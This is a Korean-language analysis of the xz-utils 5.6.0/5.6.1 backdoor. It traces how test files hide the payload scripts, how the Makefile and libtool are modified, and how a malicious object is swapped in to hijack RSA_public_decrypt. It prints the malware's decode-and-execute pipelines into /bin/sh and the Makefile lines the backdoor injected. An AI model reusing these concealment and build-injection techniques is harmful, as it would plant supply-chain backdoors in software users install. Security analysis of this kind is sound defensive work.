- xz 공격은 configure 단계의 쉘 코드 주입과 make 단계의 객체 파일 주입으로 나뉘며, 이 분석은 xz 5.6.0·5.6.1 배포 tarball의 스크립트가 백도어 객체 파일을 빌드에 끼워 넣는 과정을 추적함
- 악성 코드와 객체 파일은
tests/files의 바이너리 테스트 입력 파일처럼 압축·암호화되어 숨겨졌고, “손으로 만든 테스트 파일”이라는 기존 README 설명이 위장을 쉽게 만듦
m4/build-to-host.m4에 추가된 코드는 bad-3-corrupt_lzma2.xz를 찾아 tr와 xz -d로 복원한 뒤 /bin/sh로 실행하며, 5.6.1에는 새 테스트 파일에서 추가 스크립트를 찾는 확장 메커니즘도 들어감
- configure 스크립트는
src/liblzma/Makefile과 libtool을 고쳐 make 중에도 숨겨진 스크립트를 다시 실행하게 만들고, -z,now와 PIC 관련 플래그를 조정해 ifunc resolver가 초기 동적 링크 시점에 실행되도록 함
- make 단계에서는
good-large_compressed.lzma에서 악성 객체를 추출·복호화한 뒤 crc64_fast.c와 crc32_fast.c 빌드 산출물을 바꿔치기해, _get_cpuid 경유로 RSA_public_decrypt 호출을 가로채게 함
공격의 전체 구조
- Andres Freund는 2024-03-29 공개
oss-security@openwall 메일링 리스트에 xz 공격의 존재를 알림
- 전날 Debian security와 비공개
distros@openwall 리스트에도 알림
- 계기는 Debian sid 설치에서
liblzma 관련 이상 증상, 즉 SSH 로그인 시 높은 CPU 사용과 Valgrind 오류를 본 것이었음
- 공격은 크게 두 단계로 구성됨
configure 중 쉘 코드가 주입됨
- 이 쉘 코드가
make에 다시 쉘 코드를 주입하고, make 중 악성 객체 파일을 빌드에 추가함
- 악성 객체 파일을
evil.o처럼 저장소에 직접 넣으면 의심을 사기 쉬우므로, 공격자는 쉘 코드와 객체 파일을 바이너리 테스트 입력 파일 안에 압축·암호화해 숨김
tests/files 디렉터리는 Jia Tan이 등장하기 전부터 존재했고, README는 .xz, .lzma, .lz 디코더 구현을 테스트하기 위한 파일들이며 일부는 hex editor로 직접 만들어 “파일 자체보다 나은 소스 코드가 없다”고 설명함
- 공격자는 이 맥락을 이용해 몇 개의 새 테스트 파일을 추가하는 것처럼 보이게 함
백도어가 노린 실행 지점
- 스크립트의 최종 효과는 악성 객체 파일의
_get_cpuid 함수가 GNU indirect function(ifunc) resolver의 일부로 호출되게 만드는 것임
- ifunc resolver는 일반적으로 프로그램 실행 중 지연 호출될 수 있지만, 보안상 동적 링크 초기에 모두 호출하고 GOT·PLT를 읽기 전용으로 매핑하는 방식이 널리 쓰임
- 악성 ifunc resolver는 GOT·PLT가 아직 쓰기 가능한 초기 시점에 실행될 수 있음
- 백도어는 테이블에서
RSA_public_decrypt를 찾아 공격자 버전으로 대체함
- 대체된 함수는 올바른 SSH 인증서가 제시될 때 공격자 코드를 실행함
configure 단계: build-to-host.m4 위장
- xz-utils는 GNU autoconf를 사용하며, 일반적으로
configure와 지원 m4 파일은 소스 저장소가 아니라 tarball 배포본에 포함됨
- 공격은 xz 5.6.0과 xz 5.6.1 tarball에 예상 밖의 지원 라이브러리
m4/build-to-host.m4를 추가하면서 시작됨
- 악성
build-to-host.m4는 표준 파일과 비교해 그럴듯한 변경을 포함함
- serial을
3에서 30으로 올림
- 저작권 연도를
2023에서 2023-2024로 바꿈
- 알아보기 어려운 쉘·m4 변경을 몇 가지 추가함
- 실제 핵심은
grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/로 배포본 안의 특정 패턴을 찾는 코드임
- 이 패턴에 매칭되는 파일은
./tests/files/bad-3-corrupt_lzma2.xz
- 결과적으로
gl_am_configmake는 이 테스트 파일을 가리킴
gl_path_map은 tr "\t \-_" " \t_\-"로 설정되어 탭·공백, 밑줄·대시를 서로 바꿈
숨겨진 첫 번째 스크립트 복원
gl_[$1]_prefix는 파일명에서 마지막 점 뒤 요소를 추출해 xz가 됨
- 이름은 prefix처럼 보이지만 실제로는 파일 확장자임
- 빌드 머신에 이미 설치되어 있을 가능성이 높은 압축 명령 이름이 됨
- 이후 만들어지는 명령 문자열은 겉보기에는
sed "r\n"을 쓰지만, 실제로는 난독화된 cat에 가까움
sed의 r\n은 존재하지 않는 파일 \n을 읽으려는 명령이어서 아무 일도 하지 않음
-n이 없으므로 입력을 그대로 출력함
- 실제 실행되는 명령은 다음과 같은 형태임
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
- 이 명령은
AC_CONFIG_COMMANDS를 통해 config.status 실행 과정에서 평가됨
- 복원된 출력에는
####Hello####와 ####World####가 보이며, README에 따르면 bad-3-corrupt_lzma2.xz의 첫 번째와 세 번째 스트림은 유효한 xz 스트림이고 가운데 스트림만 LZMA2 데이터가 손상되어 있음
5.6.0과 5.6.1의 차이
- xz 5.6.0에서 복원된 첫 번째 스크립트는
good-large_compressed.lzma에서 특정 바이트 범위를 잘라내고 변환한 뒤 raw LZMA 스트림으로 풀어 /bin/sh에 전달함
- xz 5.6.1의 첫 번째 스크립트는 Linux가 아니면 종료하려는 줄을 다섯 번 포함함
[ ! $(uname) = "Linux" ] && exit 0
- 이후 분석 대상이 되는 긴 스크립트 안에도 5.6.1 전용 Linux 확인 줄이 있음
- 그 줄은
= 주변 공백이 없어 동작하지 않는 버그가 있음
- 5.6.1은
head의 마지막 바이트 수, tail 오프셋, tr 인자가 5.6.0과 다름
- 예시에서 5.6.1은
16×2048+939 = 33,707바이트를 추출함
- 이후
tail -c +31233로 마지막 31,233바이트를 사용함
- 추출 파이프라인은 다음 단계로 구성됨
xz -dc로 good-large_compressed.lzma를 압축 해제
head 파이프라인으로 특정 바이트 범위 추출
tail로 후반부 선택
tr로 단순 치환 암호 적용
xz -F raw --lzma1 -dc로 raw LZMA 스트림 해제
- 결과를
/bin/sh로 실행
5.6.1의 확장 메커니즘
- 긴 스크립트에는 설정되지 않은 변수들을
eval하는 지점이 여러 개 있음
- 예:
eval $zrKcVq, eval $zrKcSS
- 디버그 출력용이거나 향후 다른 메커니즘에서 값을 설정하는 확장 지점일 가능성이 있음
config.status가 있으면 스크립트는 LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map 등을 읽음
- 5.6.1에 새로 들어간 확장 코드는
tests/files에서 두 매직 문자열을 찾음
- 시작 문자열:
~!:_ W
- 종료 문자열:
|_!{ -
- 두 문자열이 같은 파일 안에 있으면 그 사이 바이트를 추출하고,
tr와 raw LZMA2 해제를 거쳐 출력물을 eval함
- 이 메커니즘은 나중에 기존 바이너리 테스트 파일을 다시 생성했다는 이유를 만들지 않고도, 다른 테스트 파일 안에 새 스크립트를 넣기 위한 구조로 보임
configure 단계의 실행 조건
- 스크립트는 백도어가 필요한 조건이 맞지 않으면 조용히 종료함
- GNU ifunc 지원이 활성화되어 있어야 함
config.status에 ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"이 있어야 함
config.h에 define HAVE_FUNC_ATTRIBUTE_IFUNC 1이 있어야 함
- 공유 라이브러리 빌드가 켜져 있어야 함
- 빌드 대상은 x86-64 Linux여야 함
build가 ^x86_64와 linux-gnu$ 조건을 만족해야 함
- CRC ifunc 관련 소스가 그대로 있어야 함
crc64_fast.c
crc32_fast.c
crc_x86_clmul.h
- 컴파일러와 링커 조건도 확인함
GCC=yes
CC=gcc
LD -v 출력에 GNU ld 포함
- 백도어가 들어 있는 테스트 파일
good-large_compressed.lzma와 bad-3-corrupt_lzma2.xz가 있어야 함
Makefile과 libtool 수정
debian/rules가 있거나 RPM_ARCH=x86_64이면 configure 단계에서 src/liblzma/Makefile을 수정하는 코드가 실행됨
- 먼저 Makefile 안에 나중에 삽입 지점으로 쓸 여러 줄이 존재하는지 확인함
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
am__uninstall_files_from_dir = {
am__install_max =
am__vpath_adj_setup =
am__include = include
all: all-recursive
LTLIBRARIES = $(lib_LTLIBRARIES)
AM_V_CCLD = $(am__v_CCLD_$(V))
libtool에는 pic_flag=" -fPIC -DPIC"가 있는지 확인함
- 이후
sed -i로 Makefile 곳곳에 다음 성격의 줄들을 흩어 넣음
am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr ...
am__dist_setup = ... | xz -d ... | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
am__test_dir는 이름상 디렉터리처럼 보이지만 실제로는 파일을 가리킴
- 추가된 줄들은 한곳에 모여 있지 않고 Makefile 곳곳에 삽입되어, 생성된 Makefile이 그럴듯하게 복잡해 보이도록 구성됨
링커 플래그와 재귀 실행
- configure 단계의 스크립트는
liblzma_la_LDFLAGS에 -Wl,--sort-section=name,-X를 추가함
- 기존
LDFLAGS에 -z,now 또는 -z -Wl,now가 없으면 -z,now도 추가함
-Wl,now는 동적 로더가 프로그램 시작 시점에 모든 심볼을 해석하게 만들어 LD_BIND_NOW 동작을 강제함
- 이 과정에서 ifunc resolver가 시작 시점에 실행됨
- 백도어는 GOT·PLT가 아직 쓰기 가능한 때 실행될 수 있음
libtool의 PIC 플래그는 다음처럼 바뀜
- 기존:
-fPIC -DPIC
- 변경:
-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
- 스크립트는
AM_V_CCLD와 긴 쉘 조각도 Makefile에 추가함
- 마지막에는
sed rpath $(am__test_dir) | $(am__dist_setup)를 실행함
sed rpath 역시 난독화된 cat 역할을 함
- 결과적으로 make 중 다음과 같은 파이프라인이 다시 실행됨
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh
make 단계: 객체 파일 추출
- make 단계에서는
src/liblzma 디렉터리에서 스크립트가 다시 실행됨
config.status가 현재 디렉터리에 없으므로 configure 단계의 Makefile 편집 부분은 건너뜀
- 대신
.libs/liblzma_la-crc64_fast.o와 .libs/liblzma_la-crc32_fast.o가 있으면 make 중이라고 판단하고 다음 코드를 실행함
- 5.6.1에는 make 단계용 확장 훅도 새로 들어감
- 시작 문자열:
jV!.^%
- 종료 문자열:
%.R.1Z
- 해당 문자열을 가진 테스트 파일은 없으며, 향후 확장용 구조로 보임
- CRC ifunc 관련 소스가 예상대로인지 다시 확인함
- configure 단계에서 추가한 컴파일·링커 플래그가 적용되었는지도 확인함
../../libtool에 추가 PIC 플래그가 있어야 함
liblzma_la_LINK에 -z,now 또는 -z -Wl,now가 있어야 함
lazy가 들어 있으면 종료함
악성 객체의 복호화와 선택
- 스크립트는
gettext.m4 내용에 따라 두 오프셋 값 중 하나를 선택함
- 배포된 xz tarball의
gettext.m4에는 검사 문자열이 없으므로, 예시 빌드에서는 전체 입력을 취함
good-large_compressed.lzma를 다시 압축 해제하고, 앞서 설정된 head 파이프라인 i로 33,707바이트를 추출함
- 그 출력을 바이트 단위로 나눈 뒤
awk로 RC4 유사 복호화 함수를 실행함
- 5.6.1 버전은 두 번째 루프가 8192까지 반복됨
- 5.6.0 버전은 같은 위치의 루프가 4096까지 반복됨
- 복호화된 출력은
xz -dc --single-stream으로 다시 압축 해제됨
--single-stream은 첫 번째 xz EOF 마커에서 멈추게 하여, 앞서 tail로 추출했던 구간을 읽지 않게 함
- 최종 결과는
liblzma_la-crc64-fast.o에 쓰임
CRC 객체 바꿔치기
- 스크립트는 실제 빌드 산출물
.libs/liblzma_la-crc64_fast.o를 비슷한 이름의 .libs/liblzma_la-crc64-fast.o로 백업함
- 밑줄(
crc64_fast)과 하이픈(crc64-fast) 차이를 이용함
- 이어서
crc64_fast.c를 sed로 수정한 내용을 컴파일하고, 추출한 악성 객체 liblzma_la-crc64-fast.o를 함께 입력으로 넣어 .libs/liblzma_la-crc64_fast.o를 덮어씀
- 삽입되는 C 코드는
_is_arch_extension_supported를 새로 만들고, 내부에서 _get_cpuid를 호출함
- 기존
crc64_resolve는 is_arch_extension_supported() 대신 _is_arch_extension_supported()를 호출하도록 바뀜
_get_cpuid는 백도어 객체 파일이 제공하는 함수이며, cpuid 정보를 반환하기 전에 추가 동작을 수행함
- 특히 GOT·PLT를 고쳐
RSA_public_decrypt 호출을 가로챔
crc32 쪽 처리와 정리
- crc64 수정이 성공하면 스크립트는
crc32_fast.c에도 비슷한 수정을 적용함
- crc32 쪽에는 백도어 객체 파일을 추가하지 않음
- 왜 crc32와 crc64 ifunc를 모두 가로채는지는 명확하지 않음
- 둘 중 하나만으로도 충분해 보인다고 분석됨
- 디버거에서 두 디스패치 코드가 비슷해 보이게 하려 했을 가능성이 있음
- 두 컴파일이 성공하면
liblzma_la_LINK로 .la 파일을 다시 링크함
- 링크가 성공했지만
.libs/liblzma.so가 없으면 실패로 간주하고 백업을 복원함
- 성공 여부와 관계없이
.libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so*를 삭제함
- 이후 Makefile의 원래 링크 단계가 다시 생성할 것으로 전제함
- 실패 경로에서는 백업된 crc32·crc64 객체를 원래 이름으로 되돌림
- 마지막에는 임시·백업 파일을 지우며, make 산출물 안에 악성 객체를 주입하고 흔적을 남기지 않도록 동작함